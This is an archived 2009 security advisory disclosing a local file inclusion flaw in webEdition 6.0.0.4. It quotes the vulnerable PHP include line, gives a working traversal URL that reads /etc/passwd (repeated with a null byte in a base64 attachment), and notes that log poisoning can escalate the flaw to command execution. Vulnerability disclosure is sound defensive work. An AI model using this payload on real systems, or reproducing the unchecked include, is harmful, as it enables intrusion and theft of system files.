AOH :: HP Unsorted W :: VA3025.HTM

webEdition 6.0.0.4 Local File Inclusion



webEdition 6.0.0.4 Local File Inclusion
webEdition 6.0.0.4 Local File Inclusion



--001636c5a9b16f6b5c04666a1822
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit

*******   Salvatore "drosophila" Fresta   *******

[+] Application: webEdition
[+] Version: <= 6.0.0.4
[+] Website: http://www.webedition.de 

[+] Bugs: [A] Local File Inclusion

[+] Exploitation: Remote
[+] Date: 31 Mar 2009

[+] Discovered by: Salvatore "drosophila" Fresta
[+] Author: Salvatore "drosophila" Fresta
[+] Contact: e-mail: drosophilaxxx@gmail.com 


*************************************************

[+] Menu

1) Bugs
2) Code
3) Fix


*************************************************

[+] Bugs


- [A] Local File Inclusion

[-] Requisites: register_globals = on

This bug allows a guest to include local files.
This tecnique can be used to exec remote commands
on the vulnerable system using Apache logs.

...

include_once($_SERVER["DOCUMENT_ROOT"]."/webEdition/we/include/we_language/".$GLOBALS["WE_LANGUAGE"]."/start.inc.php");

...


*************************************************

[+] Code


- [A] Local File Inclusion

http://www.site.com/path/index.php?WE_LANGUAGE=../../../../../../../../etc/passwd 

--001636c5a9b16f6b5c04666a1822
Content-Type: text/plain; 
	name="webEdition 6.0.0.4 Local File Inclusion-31032009.txt"
Content-Disposition: attachment; 
	filename="webEdition 6.0.0.4 Local File Inclusion-31032009.txt"
Content-Transfer-Encoding: base64
X-Attachment-Id: f_fsymcetm0

KioqKioqKiAgIFNhbHZhdG9yZSAiZHJvc29waGlsYSIgRnJlc3RhICAgKioqKioqKgoKWytdIEFw
cGxpY2F0aW9uOiB3ZWJFZGl0aW9uClsrXSBWZXJzaW9uOiA8PSA2LjAuMC40ClsrXSBXZWJzaXRl
OiBodHRwOi8vd3d3LndlYmVkaXRpb24uZGUKClsrXSBCdWdzOiBbQV0gTG9jYWwgRmlsZSBJbmNs
dXNpb24KClsrXSBFeHBsb2l0YXRpb246IFJlbW90ZQpbK10gRGF0ZTogMzEgTWFyIDIwMDkKClsr
XSBEaXNjb3ZlcmVkIGJ5OiBTYWx2YXRvcmUgImRyb3NvcGhpbGEiIEZyZXN0YQpbK10gQXV0aG9y
OiBTYWx2YXRvcmUgImRyb3NvcGhpbGEiIEZyZXN0YQpbK10gQ29udGFjdDogZS1tYWlsOiBkcm9z
b3BoaWxheHh4QGdtYWlsLmNvbQoKCioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioq
KioqKioqKioqKioqKioKClsrXSBNZW51CgoxKSBCdWdzCjIpIENvZGUKMykgRml4CgoKKioqKioq
KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKgoKWytdIEJ1Z3MKCgot
IFtBXSBMb2NhbCBGaWxlIEluY2x1c2lvbgoKWy1dIFJlcXVpc2l0ZXM6IHJlZ2lzdGVyX2dsb2Jh
bHMgPSBvbgoKVGhpcyBidWcgYWxsb3dzIGEgZ3Vlc3QgdG8gaW5jbHVkZSBsb2NhbCBmaWxlcy4K
VGhpcyB0ZWNuaXF1ZSBjYW4gYmUgdXNlZCB0byBleGVjIHJlbW90ZSBjb21tYW5kcwpvbiB0aGUg
dnVsbmVyYWJsZSBzeXN0ZW0gdXNpbmcgQXBhY2hlIGxvZ3MuCgouLi4KCmluY2x1ZGVfb25jZSgk
X1NFUlZFUlsiRE9DVU1FTlRfUk9PVCJdLiIvd2ViRWRpdGlvbi93ZS9pbmNsdWRlL3dlX2xhbmd1
YWdlLyIuJEdMT0JBTFNbIldFX0xBTkdVQUdFIl0uIi9zdGFydC5pbmMucGhwIik7CgouLi4KCgoq
KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqCgpbK10gQ29k
ZQoKCi0gW0FdIExvY2FsIEZpbGUgSW5jbHVzaW9uCgpodHRwOi8vd3d3LnNpdGUuY29tL3BhdGgv
aW5kZXgucGhwP1dFX0xBTkdVQUdFPS4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy9wYXNzd2QA
JTAwCgpUZXN0ZWQgb24gTUFDIE9TWCAxMC41CgoKKioqKioqKioqKioqKioqKioqKioqKioqKioq
KioqKioqKioqKioqKioqKioqKioqKgoKWytdIEZpeAoKTm8gZml4LgoKCioqKioqKioqKioqKioq
KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKio--001636c5a9b16f6b5c04666a1822--

The entire AOH site is optimized to look best in Firefox® 3 on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH
We do not send spam. If you have received spam bearing an artofhacking.com email address, please forward it with full headers to abuse@artofhacking.com.